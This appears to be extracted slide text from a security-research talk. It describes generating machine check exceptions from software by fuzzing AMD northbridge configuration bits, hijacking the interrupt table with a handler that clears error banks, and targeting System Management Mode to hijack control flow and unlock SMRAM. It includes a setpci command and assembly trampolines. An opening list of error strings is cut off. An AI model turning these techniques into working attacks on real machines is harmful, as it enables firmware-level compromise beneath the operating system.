"Reserved" "A poison error from a GFX Sub-IP" "Reserved" "High SRAM ECC or parity error" "Low SRAM ECC or parity error" "Data Cache Bank A ECC or parity error" "Data Cache Bank B ECC or parity error" "Data Tag Cache Bank A ECC or parity error" "Data Tag Cache Bank B ECC or parity error" "Instruction Cache Bank A ECC or parity error" "Instruction Cache Bank B ECC or parity error" "Instruction Tag Cache Bank A ECC or parity error" "Instruction Tag Cache Bank B ECC or parity error" "Instruction Tag Cache Bank A ECC or parity error" "Instruction Tag Cache Bank B ECC or parity error" "Data Cache Bank A ECC or parity error" "Data Cache Bank B ECC or parity error" "Data Tag Cache Bank A ECC or parity error" "Data Tag Cache Bank B ECC or parity error" "Instruction Cache Bank A ECC or parity error" "Instruction Cache Bank B ECC or parity error" "Instruction Tag Cache Bank A ECC or parity error" "Instruction Tag Cache Bank B ECC or parity error" "System Hub Read Buffer ECC or parity error" "MPDMA TVF DVSEC Memory ECC or parity error" "MPDMA TVF MMIO Mailbox0 ECC or parity error" "MPDMA TVF MMIO Mailbox1 ECC or parity error" "MPDMA TVF Doorbell Memory ECC or parity error" "MPDMA TVF SDP Slave Memory 0 ECC or parity error" "MPDMA TVF SDP Slave Memory 1 ECC or parity error" "MPDMA TVF SDP Slave Memory 2 ECC or parity error" "MPDMA TVF SDP Slave Memory 3 ECC or parity error" "MPDMA TVF SDP Slave Memory 4 ECC or parity error" "MPDMA TVF SDP Slave Memory 5 ECC or parity error" "MPDMA TVF SDP Slave Memory 6 ECC or parity error" "MPDMA TVF SDP Slave Memory 7 ECC or parity error" "MPDMA TVF SDP Slave Memory 8 ECC or parity error" "MPDMA TVF SDP Slave Memory 9 ECC or parity error" "MPDMA TVF SDP Slave Memory 10 ECC or parity error" "MPDMA TVF SDP Slave Memory 11 ECC or parity error" "MPDMA TVF SDP Slave Memory 12 ECC or parity error" "MPDMA TVF SDP Slave Memory 13 ECC or parity error" "MPDMA TVF SDP Slave Memory 14 ECC or parity error" "MPDMA TVF SDP Slave Memory 15 ECC or parity error" "MPDMA TVF SDP Slave Memory 16 ECC or parity error" "MPDMA TVF SDP Slave Memory 17 ECC or parity error" "MPDMA TVF SDP Slave Memory 18 ECC or parity error" "MPDMA TVF SDP Slave Memory 19 ECC or parity error" "MPDMA TVF SDP Slave Memory 20 ECC or parity error" "MPDMA TVF SDP Slave Memory 21 ECC or parity error" "MPDMA TVF SDP Slave Memory 22 ECC or parity error" "MPDMA TVF SDP Slave Memory 23 ECC or parity error" "MPDMA TVF SDP Slave Memory 24 ECC or parity error" "MPDMA TVF SDP Slave Memory 25 ECC or parity error" "MPDMA TVF SDP Slave Memory 26 ECC or parity error" "MPDMA TVF SDP Slave Memory 27 ECC or parity error" "MPDMA TVF SDP Slave Memory 28 ECC or parity error" "MPDMA TVF SDP Slave Memory 29 ECC or parity error" "MPDMA TVF SDP Slave Memory 30 ECC or parity error" "MPDMA TVF SDP Slave Memory 31 ECC or parity error" "MPDMA TVF SDP Slave Memory 32 ECC or parity error" "MPDMA TVF SDP Slave Memory 33 ECC or parity error" "MPDMA TVF SDP Slave Memory 34 ECC or parity error" "MPDMA TVF SDP Slave Memory 35 ECC or parity error" "MPDMA TVF SDP Slave Memory 36 ECC or parity error" "MPDMA TVF SDP Slave Memory 37 ECC or parity error" "MPDMA TVF SDP Slave Memory 38 ECC or parity error" "MPDMA TVF SDP Slave Memory 39 ECC or parity error" "MPDMA TVF SDP Slave Memory 40 ECC or parity error" "MPDMA TVF SDP Slave Memory 41 ECC or parity error" "MPDMA TVF SDP Slave Memory 42 ECC or parity error" "MPDMA TVF SDP Slave Memory 43 ECC or parity error" "MPDMA TVF SDP Slave Memory 44 ECC or parity error" "MPDMA TVF SDP Slave Memory 45 ECC or parity error" "MPDMA TVF SDP Slave Memory 46 ECC or parity error" "MPDMA TVF SDP Slave Memory 47 ECC or parity error" "MPDMA TVF SDP Slave Memory 48 ECC or parity error" "MPDMA TVF SDP Slave Memory 49 ECC or parity error" "MPDMA TVF SDP Slave Memory 50 ECC or parity error" "MPDMA TVF SDP Slave Memory 51 ECC or parity error" "MPDMA TVF SDP Slave Memory 52 ECC or parity error" "MPDMA TVF SDP Slave Memory 53 ECC or parity error" "MPDMA TVF SDP Slave Memory 54 ECC or parity error" "MPDMA TVF SDP Slave Memory 55 ECC or parity error" "MPDMA TVF SDP Slave Memory 56 ECC or parity error" "MPDMA TVF SDP Slave Memory 57 ECC or parity error" "MPDMA TVF SDP Slave Memory 58 ECC or parity error" "MPDMA TVF SDP Slave Memory 59 ECC or parity error" "MPDMA TVF SDP Slave Memory 60 ECC or parity error" "MPDMA TVF SDP Slave Memory 61 ECC or parity error" "MPDMA TVF SDP Slave Memory 62 ECC or parity error" "MPDMA TVF SDP Slave Memory 63 ECC or parity error" "MPDMA TVF SDP Slave Memory 64 ECC or parity error" "MPDMA TVF SDP Slave Memory 65 ECC or parity error" "MPDMA TVF SDP Slave Memory 66 ECC or parity error" "MPDMA TVF SDP Slave Memory 67 ECC or parity error" "MPDMA TVF SDP Slave Memory 68 ECC or parity error" "MPDMA TVF SDP Slave Memory 69 ECC or parity error" "MPDMA TVF SDP Slave Memory 70 ECC or parity error" "MPDMA TVF SDP Slave Memory 71 ECC or parity error" "MPDMA TVF SDP Slave Memory 72 ECC or parity error" "MPDMA TVF SDP Slave Memory 73 ECC or parity error" "MPDMA TVF SDP Slave Memory 74 ECC or parity error" "MPDMA TVF SDP Slave Memory 75 ECC or parity error" "MPDMA TVF SDP Slave Memory 76 ECC or parity error" "MPDMA TVF SDP Slave Memory 77 ECC or parity error" "MPDMA TVF SDP Slave Memory 78 ECC or parity error" "MPDMA TVF SDP Slave Memory 79 ECC or parity error" "MPDMA TVF SDP Slave Memory 80 ECC or parity error" "MPDMA TVF SDP Slave Memory 81 ECC or parity error" "MPDMA TVF SDP Slave Memory 82 ECC or parity error" "MPDMA TVF SDP Slave Memory 83 ECC or parity error" "MPDMA TVF SDP Slave Memory 84 ECC or parity error" "MPDMA TVF SDP Slave Memory 85 ECC or parity error" "MPDMA TVF SDP Slave Memory 86 ECC or parity error" "MPDMA TVF SDP Slave Memory 87 ECC or parity error" "MPDMA TVF SDP Slave Memory 88 ECC or parity error" "MPDMA TVF SDP Slave Memory 89 ECC

- Need to start somewhere.
- Some platforms reserve MC4 register bank for logging errors from the northbridge
- NB seems more configurable than others
  - vs. DC, IC, BU, FR, etc.
- Start there, expand later
- Details vary across generations

# generating MCEs

Error Type	Description	CTL <sup>1</sup>	ETG <sup>2</sup>	EAC <sup>4</sup>
RMW Error	An atomic read-modify-write (RMW) command was received from an IO link. Atomic RMW commands are not supported. An atomic RMW command results in a link error response being generated back to the requesting IO device. The generation of the link error response is not affected by the control bit.	AtomicRMWEn	L	D
WDT Error	NB WDT timeout due to lack of progress. The NB WDT monitors transaction completions. A transaction that exceeds the programmed time limit reports errors via the MCA. The cause of error may be another node or device which failed to respond.	WDTRptEn	L	D
DRAM ECC Error	A DRAM ECC error detected.	CECCEn, UECCEn	D	D
DRAM CRC Error	A DRAM CRC error was detected.	CCRCEn, UCRCEn	D	D
Link Data Error	Data error detected on link. If enabled for reporting and the request is sourced from a core, then PCC is set. (If not enabled for reporting, PCC is not set. If configured to allow an error response to be returned to the core, this could allow error containment to a scope smaller than the entire system.)	McaUsPwDatErrEn, CpPktDatEn	L	D
Protocol Error	Protocol error detected by link. These errors are distinguished from each other by the value in <a href="#">MSR0000_0412</a> [ErrAddr]. See <a href="#">Table 236</a> .  For protocol errors, the system cannot continue operation. Protocol errors can be caused by other subcomponents than the one reporting the error. For diagnosis, collect and examine MCA registers from other banks, cores, and processors in the system.	NbIntProtEn	L <sup>3</sup>	D
NB Array Error	A parity error was detected in the NB internal arrays.	NbArrayParEn	-	D
L2 complex Data Error	NB received a data error from a core and this error could not be contained. For the cause of the data error, examine the core MCA registers for deferred errors. This error may occur for the following types of data writes: <ul style="list-style-type: none"> <li>• APIC</li> <li>• Configuration space (IO and MMIO)</li> </ul> For these errors, sync flood will occur if <a href="#">D18F3x180</a> [SyncFloodOnCpuLeakErr] is set.	McaCpuDatErrEn	-	D

1. CTL: See [MSR0000\\_0410](#).  
 2. ETG: error threshold group. See 2.16.1.7 [Error Thresholding].  
   • L=Link.  
   • D=DRAM.  
 3. The error thresholding group is Link if link protocol error; none for non-link protocol error.  
 4. EAC: D=Error action taken if detected. E=Error action taken if MCA bank enabled.

52740\_16h\_Models\_30h-3Fh\_BKDG.pdf

- Datasheets suggest MCEs can be generated from Master Abort signals arriving from NB


Table 232: MC4 Error Descriptions				
Error Type	Description	CTL <sup>1</sup>	ETG <sup>2</sup>	EAC <sup>4</sup>
Sync Error	Link-defined sync error packets detected on link. The NB floods its outgoing links with sync packets after detecting a sync packet on an incoming link independent of the state of the control bits.	SyncPktEn	L	D
Master Abort	Master abort seen as result of link operation. Reasons for this error include requests to non-existent addresses. The NB returns an error response back to the requestor with any associated data all 1s independent of the state of the control bit.	MstrAbortEn	L	D
Target Abort	Target abort seen as result of link operation. The NB returns an error response back to the requestor with any associated data all 1s independent of the state of the control bit.	TgtAbortEn	L	D

52740\_16h\_Models\_30h-3Fh\_BKDG.pdf

# generating MCEs

- Master abort
  - Device initiating PCI request terminates transaction because target device failed to respond
  - Something we can control
- Easy! Access a non-existent PCI device:  
`sudo setpci -A linux-sysfs -s 0:1f.0 0.L`
- Nothing.

generating MCEs


- 
- But datasheets suggest there is *some* way for a master abort to cause an MCE
  - Dive into the northbridge configuration

generating MCEs

• Bits of interest in B/D/F 0/18/3:

0:18.3 0x180[3]: ChgDatErrToTgtAbort	0:18.3 0x40[9]: TgtAbortEn	0:18.3 0x44[28]: DisTgtAbortCpuErrRsp
0:18.3 0x180[5]: DisPciCfgCpuMstAbortRsp	0:18.3 0x44[1]: CpuRdDatErrEn	0:18.3 0x44[2]: SyncFloodOnDramUcEcc
0:18.3 0x180[6]: SyncFloodOnDatErr	0:18.3 0x44[20]: SyncFloodOnWDT	0:18.3 0x44[3]: SyncPktGenDis
0:18.3 0x180[7]: SyncFloodOnTgtAbortErr	0:18.3 0x44[21]: SyncFloodOnAnyUcErr	0:18.3 0x44[4]: SyncPktPropDis
0:18.3 0x40[12]: WDRptEn	0:18.3 0x44[24]: IoRdDatErrEn	0:18.3 0x44[5]: IoMstAbortDis
0:18.3 0x40[31]: McaCpuDatErrEn	0:18.3 0x44[25]: DisPciCfgCpuErrRsp	0:18.3 0x44[6]: CpuErrDis
0:18.3 0x40[5]: SyncPktEn	0:18.3 0x44[26]: FlagMcaCorrErr	0:18.3 0x44[7]: IoErrDis
0:18.3 0x40[8]: MstrAbortEn	0:18.3 0x44[27]: NbMcaToMstCpuEn	0:18.3 0x44[8]: WDTDis

generating MCEs

- 
- A decorative graphic on the left side of the slide, consisting of a series of thin, light-gray lines that resemble a circuit board or a stylized tree. The lines originate from the bottom left and branch out towards the top right, with small dots at various points along the lines.
- No single bit gives the desired behavior
  - Many configurations crash or hang
  - Too many permutations, not enough information

generating MCEs

- A northbridge fuzzer
  - Specify the bits of interest  
(~24 plausible config bits identified)
  - Randomly flip a bit
  - If crash/hang:
    - Power cycle and try again
  - Access a non-existent device in the PCI space
  - Check MCA status registers for MCE logged
    - If platform resets,  
MCA status registers are sticky, check on boot
  - Repeat

generating MCEs

An abstract graphic of a circuit board pattern in a dark gray color, set against a black background. The pattern consists of thin, interconnected lines and small circular nodes, resembling a complex network or a stylized map. It is primarily located on the left side of the image, with some lines extending towards the center.

[demo]

generating MCEs

```
deltaop@ubuntu-usb-3:~/_research$
```

```
[ 1.237854] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[ 1.239084] hub 1-1:1.0: USB hub found
[ 1.239306] hub 1-1:1.0: 4 ports detected
[ 1.253738] usb 2-1: New USB device found, idVendor=0438, idProduct=7900, bcdDevice= 0.18
[ 1.253884] usb 2-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[ 1.255088] hub 2-1:1.0: USB hub found
[ 1.255332] hub 2-1:1.0: 4 ports detected
[ 1.286843] Freeing initrd memory: 85444K
[ 1.302307] Segment Routing with IPv6
[ 1.302384] In-situ OAM (IOAM) with IPv6
[ 1.302474] NET: Registered PF_PACKET protocol family
[ 1.302615] Key type dns_resolver registered
[ 1.302656] x86/pm: family 0x16 cpu detected, MSR saving is needed during suspending.
[ 1.303316] microcode: CPU0: patch_level=0x07030105
[ 1.303383] microcode: CPU1: patch_level=0x07030105
[ 1.303436] microcode: CPU2: patch_level=0x07030105
[ 1.304778] microcode: CPU3: patch_level=0x07030105
[ 1.306110] microcode: Microcode Update Driver: v2.2.
[ 1.306121] IPI shorthand broadcast: enabled
[ 1.308865] mce: [Hardware Error]: Machine check events logged
[ 1.308960] registered taskstats version 1
[ 1.310145] mce: [Hardware Error]: CPU 1: Machine Check: 0 Bank 0: b60000000000083b
[ 1.312692] mce: [Hardware Error]: TSC 0 ADDR fdfc000cfc
[ 1.313970] mce: [Hardware Error]: PROCESSOR 2:730f01 TIME 1753409480 SOCKET 0 APIC 1 microcode 7030105
[ 1.315468] Loading compiled-in X.509 certificates
[ 1.318427] Loaded X.509 cert 'Build time autogenerated kernel key: d5862910adca7ee16194da1e1a805db529424367'
[ 1.321297] Loaded X.509 cert 'Canonical Ltd. Live Patch Signing: 14df34d1a87cf37625abec039ef2bf521249b969'
[ 1.323917] Loaded X.509 cert 'Canonical Ltd. Kernel Module Signing: 88f752e560a1e0737e31163a466ad7b70a850c19'
[ 1.325293] blacklist: Loading compiled-in revocation X.509 certificates
[ 1.326727] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing: 61482aa2830d0ab2ad5af10b7250da9033ddcef0'
[ 1.328228] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2017): 242ade75ac4a15e50d50c84b0d45ff3eae707a03'
[ 1.329770] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (ESM 2018): 365188c1d374d6b07c3c8f240f8ef722433d6a8b'
[ 1.331339] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2019): c0746fd6c5da3ae827864651ad66ae47fe24b3e8'
[ 1.332919] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2021 v1): a8d54bbb3825cfb94fa13c9f8a594a195c107b8d'
[ 1.334496] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2021 v2): 4cf046892d6fd3c9a5b03f98d845f90851dc6a8c'
[ 1.336069] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2021 v3): 100437bb6de6e469b581e61cd66bce3ef4ed53af'
[ 1.337638] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (Ubuntu Core 2019): c1d57b8f6b743f23ee41f4f7ee292f06eecdafb9'
[ 1.341052] zswap: loaded using pool lzo/zbud
[ 1.343135] Key type .fscrypt registered
[ 1.344773] Key type fscrypt-provisioning registered
[ 1.346446] Key type trusted registered
[ 1.354527] Key type encrypted registered
```

--- MC0 (load-store) ---

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

[core 0]

mc0_ctl (00000400):		xxxxxxxx xx	(	fec)
mc0_status (00000401):			(	0)
mc0_addr (00000402):			(	0)
mc0_misc (00000403):			(	0)
mc0_mask (c0010044):			(	0)

[core 1]

mc0_ctl (00000400):		xxxxxxxx xx	(	fec)
mc0_status (00000401):	x xx xx	x xxx xx	(b600000000000083b)	
mc0_addr (00000402):		xxxxxx xxxxxxxx	(	fdfc000cfc)
mc0_misc (00000403):			(	0)
mc0_mask (c0010044):			(	0)

[core 2]

mc0_ctl (00000400):		xxxxxxxx xx	(	fec)
mc0_status (00000401):			(	0)
mc0_addr (00000402):			(	0)
mc0_misc (00000403):			(	0)
mc0_mask (c0010044):			(	0)

[core 3]

mc0_ctl (00000400):		xxxxxxxx xx	(	fec)
mc0_status (00000401):			(	0)
mc0_addr (00000402):			(	0)
mc0_misc (00000403):			(	0)
mc0_mask (c0010044):			(	0)


- Found a 2-bit northbridge combination that works
- But MCE delivered to core that generates the abort
- Not useful for core to target itself with an MCE
  - Can only interrupt our own code this way
- We have a hammer, but we can only hit ourselves
- Need ability for one core to target *different* core

generating cross-core MCEs

An abstract graphic of a circuit board pattern in a light gray color, set against a dark gray background. The pattern consists of thin, interconnected lines and small circular nodes, resembling a complex network or a stylized map. It is positioned on the left side of the image, extending from the top to the bottom.

Let's build a hammer...

Let's add a **handle**...

- 
- Modify fuzzer
    - Search for more complex bit configurations
    - Generate PCI abort on from one core,  
check MCEs on others

generating cross-core MCEs

```
1.234111] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
1.235420] hub 1-1:1.0: USB hub found
1.236579] hub 1-1:1.0: 4 ports detected
1.245835] usb 2-1: New USB device found, idVendor=0438, idProduct=7900, bcdDevice= 0.18
1.245977] usb 2-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
1.247335] hub 2-1:1.0: USB hub found
1.248317] hub 2-1:1.0: 4 ports detected
1.279300] Freeing initrd memory: 85444K
1.293227] Segment Routing with IPv6
1.293304] In-situ OAM (IOAM) with IPv6
1.293388] NET: Registered PF_PACKET protocol family
1.293539] Key type dns_resolver registered
1.293580] x86/pm: family 0x16 cpu detected, MSR saving is needed during suspending.
1.294209] microcode: CPU0: patch_level=0x07030105
1.294261] microcode: CPU1: patch_level=0x07030105
1.294314] microcode: CPU2: patch_level=0x07030105
1.295677] microcode: CPU3: patch_level=0x07030105
1.297001] microcode: Microcode Update Driver: v2.2.
1.297012] IPI shorthand broadcast: enabled
1.299767] mce: [Hardware Error]: Machine check events logged
1.299871] registered taskstats version 1
1.300976] mce: [Hardware Error]: CPU 0: Machine Check: 0 Bank 4: b70000110003081b
1.303337] mce: [Hardware Error]: TSC 0 ADDR fdfc000cfc
1.304506] mce: [Hardware Error]: PROCESSOR 2:730f01 TIME 1753410695 SOCKET 0 APIC 0 microcode 7030105
1.305953] Loading compiled-in X.509 certificates
1.308733] Loaded X.509 cert 'Build time autogenerated kernel key: d5862910adca7ee16194da1e1a805db529424367'
1.311337] Loaded X.509 cert 'Canonical Ltd. Live Patch Signing: 14df34d1a87cf37625abec039ef2bf521249b969'
1.313937] Loaded X.509 cert 'Canonical Ltd. Kernel Module Signing: 88f752e560a1e0737e31163a466ad7b70a850c19'
1.315301] blacklist: Loading compiled-in revocation X.509 certificates
1.316739] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing: 61482aa2830d0ab2ad5af10b7250da9033ddcef0'
1.318252] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2017): 242ade75ac4a15e50d50c84b0d45ff3eae707a03'
1.319787] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (ESM 2018): 365188c1d374d6b07c3c8f240f8ef722433d6a8b'
1.321366] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2019): c0746fd6c5da3ae827864651ad66ae47fe24b3e8'
1.322941] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2021 v1): a8d54bbb3825cfb94fa13c9f8a594a195c107b8d'
1.324520] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2021 v2): 4cf046892d6fd3c9a5b03f98d845f90851dc6a8c'
1.326093] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (2021 v3): 100437bb6de6e469b581e61cd66bce3ef4ed53af'
1.327659] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing (Ubuntu Core 2019): c1d57b8f6b743f23ee41f4f7ee292f06eecdafb9'
1.331069] zswap: loaded using pool lzo/zbud
1.333134] Key type .fscrypt registered
1.334719] Key type fscrypt-provisioning registered
1.336350] Key type trusted registered
1.344522] Key type encrypted registered
1.346149] AppArmor: AppArmor sha1 policy hashing enabled
1.351789] integrity: Loading X.509 certificate: UEFI:db
```

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

```

mc4_ctl (00000410):                xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (          ffffffff)
mc4_status (00000411): x xx xxx          x  x          xx  x      xx xx (b70000110003081b)
mc4_addr (00000412):                xxxxxx xxxxxxxx          xx  xxxxxx (          fdfc000cfc)
mc4_misc0 (00000413): xx          xx x          x (c01a000001000000)
mc4_misc1 (c0000408):          x          x (10000001000000)
mc4_misc2 (c0000409):                (          0)
mc4_mask (c0010048):                x (          4000000)

```

```

mc4_ctl (00000410): (0)
mc4_status (00000411): (0)
mc4_addr (00000412): (0)
mc4_misc0 (00000413): x (1000000)
mc4_misc1 (c0000408): x (1000000)
mc4_misc2 (c0000409): (0)
mc4_mask (c0010048): (0)

```

```

mc4_ctl (00000410): (0)
mc4_status (00000411): (0)
mc4_addr (00000412): (0)
mc4_misc0 (00000413): x (1000000)
mc4_misc1 (c0000408): x (1000000)
mc4_misc2 (c0000409): (0)
mc4_mask (c0010048): (0)

```

```

mc4_ctl (00000410): (0)
mc4_status (00000411): (0)
mc4_addr (00000412): (0)
mc4_misc0 (00000413): x (1000000)
mc4_misc1 (c0000408): x (1000000)
mc4_misc2 (c0000409): (0)
mc4_mask (c0010048): (0)

```

- Found 3-bit northbridge configuration  
where non-core-0 generates PCI abort,  
delivered as MCE on core-0
- Issue: platform still resets

generating cross-core MCEs




Let's build a hammer...

Let's add a handle...

Let's ... be a bit more careful

- Interrupting core-0 from core-1  
is not useful if the platform immediately resets
- Operating system is responsible for MCE handling
- Hijack CPU interrupt table  
to install first-pass MCE handler


staying alive




CPU

OS IDT
...
ffffffffc0b2ed40
ffffffffc0b2ed80
ffffffffc0b2edc0
ffffffffc0b2ee40
ffffffffc0b2ee80
...

```
push %rax
push %rdi
push %rsi
push %rdx
push %rcx
push %r8
push %r9
push %r10
push %r11
mov $0x3,%rdi
mov $0xfe,%rsi
mov 0x48(%rsp),%rdx
mov 0x50(%rsp),%r10
callq 1180 <os_handler>
pop %r11
pop %r10
pop %r9
pop %r8
pop %rcx
pop %rdx
pop %rsi
pop %rdi
pop %rax
iretq
```



```
→ push %rax
push %rdi
push %rsi
push %rdx
push %rcx
push %r8
push %r9
push %r10
push %r11
mov $0x3,%rdi
mov $0xfe,%rsi
mov 0x48(%rsp),%rdx
mov 0x50(%rsp),%r10
callq 1180 <os_handler>
pop %r11
pop %r10
pop %r9
pop %r8
pop %rcx
pop %rdx
pop %rsi
pop %rdi
pop %rax
iretq
```



```
pushf
push %%rax
push %%rdi
push %%rsi
push %%rdx
push %%rcx
push %%r8
push %%r9
push %%r10
push %%r11
mov %0, %%rdi
mov %1, %%rsi
mov 0x48(%%rsp), %%rdx
mov 0x50(%%rsp), %%r10
call hijack_handler
pop %%r11
pop %%r10
pop %%r9
pop %%r8
pop %%rcx
pop %%rdx
pop %%rsi
pop %%rdi
pop %%rax
addq $8, %%rsp
popf
jmp *%2
```



```
push %rax
push %rdi
push %rsi
push %rdx
push %rcx
push %r8
push %r9
push %r10
push %r11
mov $0x3,%rdi
mov $0xfe,%rsi
mov 0x48(%rsp),%rdx
mov 0x50(%rsp),%r10
callq 1180 <os_handler>
pop %r11
pop %r10
pop %r9
pop %r8
pop %rcx
pop %rdx
pop %rsi
pop %rdi
pop %rax
iretq
```

- Modified handler indiscriminately clears any logged MCE from the MCA banks before handing control to OS handler
  - OS won't reset the platform if it can't see what caused the MCE
  - Dangerous, but good enough

staying alive

An abstract graphic featuring a black background with a complex, light gray circuit-like pattern. The pattern consists of numerous thin, interconnected lines and small circular nodes, resembling a printed circuit board or a neural network. The lines are more prominent on the left side, where they form a dense, vertical structure, and then branch out towards the right. The overall effect is a sense of digital connectivity and complexity.

[demo]

staying alive

Every 0.1s: cat /proc/interrupts | grep --color=always -e "^" -e "MCE.\*" ubuntu-usb-3: Sat Aug 2 22:21:36 2025

	CPU0	CPU1	CPU2	CPU3	
0:	48	0	0	0	IO-APIC 2-edge timer
8:	1	0	0	0	IO-APIC 8-edge rtc0
9:	0	0	0	0	IO-APIC 9-fasteoi acpi
16:	0	422	0	0	IO-APIC 16-fasteoi snd_hda_intel:card1
18:	0	0	0	33318	IO-APIC 18-fasteoi ehci_hcd:usb1, ehci_hcd:usb2
25:	0	0	0	0	PCI-MSI 34816-edge PCIE PME, pciehp
27:	0	0	0	0	PCI-MSI 36864-edge PCIE PME, pciehp
29:	0	0	0	0	PCI-MSI 38912-edge PCIE PME, pciehp
31:	0	0	0	0	PCI-MSI 40960-edge PCIE PME, pciehp
32:	0	0	0	0	PCI-MSI 43008-edge PCIE PME, pciehp
33:	0	327	10	0	PCI-MSI 278528-edge ahci[0000:00:11.0]
34:	0	0	32	0	PCI-MSI 262144-edge xhci_hcd
35:	0	0	0	0	PCI-MSI 262145-edge xhci_hcd
36:	0	0	0	0	PCI-MSI 262146-edge xhci_hcd
37:	0	0	0	0	PCI-MSI 262147-edge xhci_hcd
38:	0	0	0	0	PCI-MSI 262148-edge xhci_hcd
40:	0	0	0	993	PCI-MSI 2097152-edge enp4s0
42:	0	0	0	0	PCI-MSI 131073-edge ccp-1
44:	54	0	0	0	PCI-MSI 18432-edge snd_hda_intel:card0
46:	0	0	6	0	PCI-MSI 16384-edge radeon
NMI:	0	0	0	0	Non-maskable interrupts
LOC:	15297	14171	15864	18674	Local timer interrupts
SPU:	0	0	0	0	Spurious interrupts
PMI:	0	0	0	0	Performance monitoring interrupts
IWI:	3944	3774	3989	3742	IRQ work interrupts
RTR:	0	0	0	0	APIC ICR read retries
RES:	1177	1419	1500	1178	Rescheduling interrupts
CAL:	26427	19112	21529	15558	Function call interrupts
TLB:	208	146	152	179	TLB shootdowns
TRM:	0	0	0	0	Thermal event interrupts
THR:	0	0	0	0	Threshold APIC interrupts
DFR:	0	0	0	0	Deferred Error APIC interrupts
MCE:	0	0	0	0	Machine check exceptions
MCP:	1	1	1	1	Machine check polls
ERR:	0				
MIS:	0				
PIN:	0	0	0	0	Posted-interrupt notification event
NPI:	0	0	0	0	Nested posted-interrupt event
PIW:	0	0	0	0	Posted-interrupt wakeup event

deltaop@ubuntu-usb-3:~/\_research\$

[0] 0: bash\*

"ubuntu-usb-3" 22:21 02-Aug-25

- A **state disruptor** tool
- On-demand generation of *hardware* MCEs entirely from **software**
- Moving forward
  - We'll use the NB approach for MCE generation
  - Configuration specifics will vary by platform
  - But barring this, *many* unexplored ways to generate MCEs

a state disruptor tool

An abstract graphic of a circuit board pattern in a light gray color, set against a black background. The pattern consists of thin, interconnected lines and small circular nodes, resembling a complex network or a stylized map. It is positioned on the left side of the image, extending from the top to the bottom.

• What to target?

selecting a target



Let's build a hammer...

Let's add a handle...

Let's be a bit more careful...

Let's find a **nail**...

- Current MCE approach uses ring-0  
for northbridge reconfiguration
- Select targets more privileged than ring-0
  - (We'll revisit this requirement)
  - Game not over at ring-0 – gets much, much deeper
- Possible options:
  - Hypervisors, secure guests, enclaves, secure loader, etc.
- System Management Mode is an appealing target

selecting a target

- 35 years old
- Invisible to operating system, hypervisor, etc.
- Can preempt operating system, hypervisor, etc.
- Ring -2
- Critical to platform security, server RAS, client miscellanea
- Firmware R/W access in many configurations

# system management mode



CPU

The image features a dark background with a light gray circuit board pattern. A square box labeled 'CPU' is positioned on the left side, and a tall rectangular box labeled 'RAM' is on the right side. The circuit lines are thin and light gray, with small circular nodes at various points.

RAM



CPU

A square box with a white border containing the text 'CPU'. The box is positioned on the left side of the image, surrounded by a complex network of white lines and dots representing a circuit board.



RAM

A rectangular box with a white border containing the text 'RAM'. The box is positioned in the upper right section of the image, above the MMIO box.





MMIO

A rectangular box with a white border containing the text 'MMIO'. The box is positioned in the middle right section of the image, between the two RAM boxes.



RAM

A rectangular box with a white border containing the text 'RAM'. The box is positioned in the lower right section of the image, below the MMIO box.



CPU

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14
mov ax,0x18
mov ss,ax
mov eax,0x9ffe2ff8
mov esp,eax
o32 push byte +0x10
mov ecx,0xc0010111
rdmsr
mov ebx,eax
add eax,0x803a
push eax
retfd

...
push rax
push rdx
and rax,~0x7fffff
wrmsr
mov rcx,rsi
mov rax,0x9fff492c
add rsp,byte +0x20
mov rcx,0xc0010015
rdmsr
test al,0x1
jnz 0x6d3
pop rdx
pop rax
mov rcx,0xc0010112
wrmsr
pop rdx
pop rax
mov rcx,0xc0010113
wrmsr
rsm
```

RAM


SMRAM


MMIO



RAM


SMBASE

BF80\_0000













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






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
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```








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
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






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
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






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
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




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






SMBASE  
BF80\_0000



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mov ebx,eax
add eax,0x803a
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retfd
```

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mov rax,0x9fff492c
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wrmsr
rsm
```














```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14
mov ax,0x18
mov ss,ax
mov eax,0x9ffe2ff8
mov esp,eax
o32 push byte +0x10
mov ecx,0xc0010111
rdmsr
mov ebx,eax
add eax,0x803a
push eax
retfd

...
push rax
push rdx
and rax,~0x7fffff
wrmsr
mov rcx,rsi
mov rax,0x9fff492c
add rsp,byte +0x20
mov rcx,0xc0010015
rdmsr
test al,0x1
jnz 0x6d3
pop rdx
pop rax
mov rcx,0xc0010112
wrmsr
pop rdx
pop rax
mov rcx,0xc0010113
wrmsr
rsm
```



SMBASE  
BF80\_0000






An abstract graphic of a circuit board pattern in a dark gray color, set against a black background. The pattern consists of thin, interconnected lines and small circular nodes, resembling a complex network or a stylized map. It is primarily located on the left side of the image, with some lines extending towards the center.

[demo]

system management mode

```
deltaop@ubuntu-usb-3:~/_research$
```

- 
- Compromising ring -2
    - SMM code running in SMRAM
    - Corrupt or hijack normal control flow to execute malicious payload
    - Unlock SMRAM

system management mode

- CPU modes must share resources with differently privileged modes
